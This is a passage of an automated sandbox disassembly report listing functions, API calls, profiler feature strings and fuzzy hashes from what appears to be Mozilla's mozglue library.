Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 49c1b07443c204a6e94ae088a2485a3ca555aaf014ac0b8e77e1ca5e685e1d3e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: D7B1D472E0021BDBCB14CE58C8816EEB7B6EF95314F190269C549EB785D730E989CB90

Function 6C9B50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9B8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9B925C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 2149f5b5ee86ad88d0a2ec0a30b350526f7f9609247e55f1c75c87905cf2e4d2
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 48A1D772E001179BCB14CE58CC807AAB7B6EF95314F1902BAC949EB785D730E999CB90

Function 6C9977A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C997A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C997A93

Part of subcall function 6C965C50: GetTickCount64.KERNEL32 ref: 6C965D40
Part of subcall function 6C965C50: EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C965D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C997AA1

Part of subcall function 6C965C50: __aulldiv.LIBCMT ref: 6C965DB4
Part of subcall function 6C965C50: LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C965DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C997B31

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e8f91c7a3ca11ee4535db11ea8900b2ffc35fe9cbf085f3ace2169694374a37
Instruction ID: ccab8f82974695159ba4efda20653362eb63494cf8b5867208f0e8ac080c7b16
Opcode Fuzzy Hash: 3e8f91c7a3ca11ee4535db11ea8900b2ffc35fe9cbf085f3ace2169694374a37
Instruction Fuzzy Hash: 13B1AE356083808BDB14CF25C49069FB7E6BFD9318F194A1CE99567B91DB70E90ACB83

Function 6C986CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C986D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C986E1E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9d7fae640234978581449d29d12888beed9e0331e5ba6d191ae735125bb7d0c8
Instruction ID: da661fe646fd782739240cb9142f9c8c84cf7edef7e6abe8f99fd7d9b84cd6eb
Opcode Fuzzy Hash: 9d7fae640234978581449d29d12888beed9e0331e5ba6d191ae735125bb7d0c8
Instruction Fuzzy Hash: 77A17C706193808FCB15CF24C4907AEFBE6BF98308F54495DE48A8B751DB70E948CB92

Function 6C9AB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9AB720
RtlNtStatusToDosError.NTDLL ref: 6C9AB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C97FE3F,00000000,00000000,?,?,00000000,?,6C97FE3F), ref: 6C9AB760

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 7748cae4010d26120f11da14d1c255622b5e0992a5bacc1abaa70ee8b71aa8fa
Instruction ID: c271d1d4e134212a7cb907c6d388970ef8d61eb2b59fc72f7499f7596e578641
Opcode Fuzzy Hash: 7748cae4010d26120f11da14d1c255622b5e0992a5bacc1abaa70ee8b71aa8fa
Instruction Fuzzy Hash: A2F0C2B0A0420CAEEF019AE1CC85BEF77BC9B14719F105229E515759C1D7B4D6CCC660

Function 6C964640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C964777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C965585, 6C9655A8, 6C9655C3, 6C965624

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: cc89d2ae26ff7501f5f0239c218bedc3e24070de421f38b1a319070d9ae58c27
Instruction ID: 45d51b53abe2cff96f78ec7dd256fa77b7a1fd0dc3ac4778b419d57687e991ca
Opcode Fuzzy Hash: cc89d2ae26ff7501f5f0239c218bedc3e24070de421f38b1a319070d9ae58c27
Instruction Fuzzy Hash: C0B27E71A057018FE308CF1AC550615BBE6BFC5724B29C7ADE46A8BBE6D771E841CB80

Function 6C9A85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A8C7C
__aulldiv.LIBCMT ref: 6C9A8DD7

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 19e9ea72b2a84f8e7328320b2c587ecbae7823473ba5a9f7f302b8511ebd2501
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 85327C31F0015A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD406BB790DA349D468B95

Function 6C9AB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9503D4,?), ref: 6C9AB955
NtQueryVirtualMemory.NTDLL ref: 6C9AB9A5

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 7253b94d396c9155a349a078ff03e3b8515dbe2066f9ad1d30c8fb71223f5b1a
Instruction ID: 673affd1b17a9bbe002eb01a5275f04c16a49726f753848b6ac5567f93ed8935
Opcode Fuzzy Hash: 7253b94d396c9155a349a078ff03e3b8515dbe2066f9ad1d30c8fb71223f5b1a
Instruction Fuzzy Hash: B7419371E0121D9FDF04CFE9D881ADEB7B9EF88354F548129E505A7704DB31D9458B90

Function 6C985C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C954A63,?,?), ref: 6C985F06

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 95b07b0ee5b4f1d81d3e6c8fc2ad971cb936a8c46db41a6e8088aae0f4e0e65d
Instruction ID: f6ff53104b5965236f2c7e928f25a0c3186b9077a16366bc82127932a549c008
Opcode Fuzzy Hash: 95b07b0ee5b4f1d81d3e6c8fc2ad971cb936a8c46db41a6e8088aae0f4e0e65d
Instruction Fuzzy Hash: 9DC1F275E022098BDB04CF95C5906EEBBF2FF89318F28455DD856ABB41D732A809CF90

Function 6C94DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8b91c6a0109019319dc3899eebd9651e2ad7351f25362c57b5aaeea415c6d29
Instruction ID: 1f826e62644ff128fa36356c750351871e89c1bd80a0fc550f4298a5581298fb
Opcode Fuzzy Hash: a8b91c6a0109019319dc3899eebd9651e2ad7351f25362c57b5aaeea415c6d29
Instruction Fuzzy Hash: E242C172A187518BD308CE3CC49075AF3E2BFC9364F198B2DE999A7794D734D9418B82

Function 6C9B76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 6c3ed01c5f448fe53c314265ff572803dd1b363f8e1d3ef1248887f05ba7a542
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0C32F971E0061A8FCB14CF98C990AAEFBB6FF88304F548269C549B7745D771A986CF90

Function 6C9B6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 71b48e75a807d62ec8702d16546b0d286551081524c95641ac9116ddf64299f2
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: BA22E871E006198FCB14CF98C890AAEF7B6FF88304F6586A9C549B7745D731A986CF90

Function 6C970512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 30a10e26d52a817084bf92ed857db2de64ddc0a4cfb5f92248aabcce648e3d18
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 3A221771E01619CFDB24CF98C890AADF7B2FF89308F548299D44AA7745D731A985CF90

Function 6C9BAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84cf4804e6b0c6b76336d0e862f86c93d06ff5f2d2d64e1ff87559bc8b7330c
Instruction ID: e808fd46fcf40952daf94ba936f58941de9fd50538a3f31603328c6f4de37ef9
Opcode Fuzzy Hash: f84cf4804e6b0c6b76336d0e862f86c93d06ff5f2d2d64e1ff87559bc8b7330c
Instruction Fuzzy Hash: 91F15A71608745AFD700CE28C8907AFB7E6AFD5318F148A2DE4D4A77C1EB74D8898792

Function 6C94C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b0fbb0f195dddc56247244996ce554fd108c950a7be5ebf1043eb00bf7689ce0
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 7CA19471F0061A8FDB08CE69C8913AEB7F2AFC9354F198269D915E7785D7349C0A8BD0

Function 6C987710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 86d36c33ddde3ffb52be39dcf8e71587c64df4f975bd08665baa3085fb4eba5c
Instruction ID: af833864ca9ea939739ece3950374ad9e78b9b4ff8ca1ad10a4115ac457c33c6
Opcode Fuzzy Hash: 86d36c33ddde3ffb52be39dcf8e71587c64df4f975bd08665baa3085fb4eba5c
Instruction Fuzzy Hash: A9716D75E022198FCF18CF99C8905EDBBB6FF89314F24856EE416AB740D731A905CB90

Function 6C9858E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: ec4b09bcfe394bb4612851978283b2946e5f5c0c093ab40957904b7f13787544
Instruction ID: 7bdd6f582242ce35359646f9bf25761f40281882abeea974668c6f28f35560ed
Opcode Fuzzy Hash: ec4b09bcfe394bb4612851978283b2946e5f5c0c093ab40957904b7f13787544
Instruction Fuzzy Hash: 75818F75A012199FDB04CFA8C8809EEBBF6FF89314F644669D412AB741D731E949CBA0

Function 6C98CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C95582D), ref: 6C98CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C95582D), ref: 6C98CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9BFE98,?,?,?,?,?,6C95582D), ref: 6C98CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C98CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C98CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C98CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C98CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C98CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C98CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C98CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C98CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C98CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C98CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C98CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C98CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C98CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C98CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C98CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C98CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C98CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C98CE8A

Strings

screenshots, xrefs: 6C98CCD4
processcpu, xrefs: 6C98CE6E
markersallthreads, xrefs: 6C98CE42
unregisteredthreads, xrefs: 6C98CE58
stackwalk, xrefs: 6C98CCF8
audiocallbacktracing, xrefs: 6C98CDD4
nativeallocations, xrefs: 6C98CDA8
java, xrefs: 6C98CC37
noiostacks, xrefs: 6C98CCBE
fileio, xrefs: 6C98CC92
seqstyle, xrefs: 6C98CCE6
fileioall, xrefs: 6C98CCA8
jsallocations, xrefs: 6C98CD0E
ipcmessages, xrefs: 6C98CDBE
Unrecognized feature "%s"., xrefs: 6C98CEA0
mainthreadio, xrefs: 6C98CC7C
leaf, xrefs: 6C98CC66
default, xrefs: 6C98CC21
preferencereads, xrefs: 6C98CD92
samplingallthreads, xrefs: 6C98CE2C
power, xrefs: 6C98CE84
nostacksampling, xrefs: 6C98CD7C
cpuallthreads, xrefs: 6C98CE16
notimerresolutionchange, xrefs: 6C98CE00

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 47ae3fabc08b457443edcfca63a2acb24a7427abd459c044d62d201b1d9d8cdb
Instruction ID: 342c8e63d2302148894be1d5ad62f99a12b8dbf90c8b03e25997e2db03473d7a
Opcode Fuzzy Hash: 47ae3fabc08b457443edcfca63a2acb24a7427abd459c044d62d201b1d9d8cdb
Instruction Fuzzy Hash: E55167C5A4722572FB0131156D11BAB1449EFF324AF508E3AED0AB3E80FB15F61986B7

Function 6C9547C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C954801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C954817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C95482D
__Init_thread_footer.LIBCMT ref: 6C95484A

Part of subcall function 6C97AB3F: EnterCriticalSection.KERNEL32(6C9CE370,?,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284), ref: 6C97AB49
Part of subcall function 6C97AB3F: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97AB7C

GetCurrentThreadId.KERNEL32 ref: 6C95485F
GetCurrentThreadId.KERNEL32 ref: 6C95487E
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95488B
free.MOZGLUE(?), ref: 6C95493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C954956
free.MOZGLUE(00000000), ref: 6C954960
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95499A

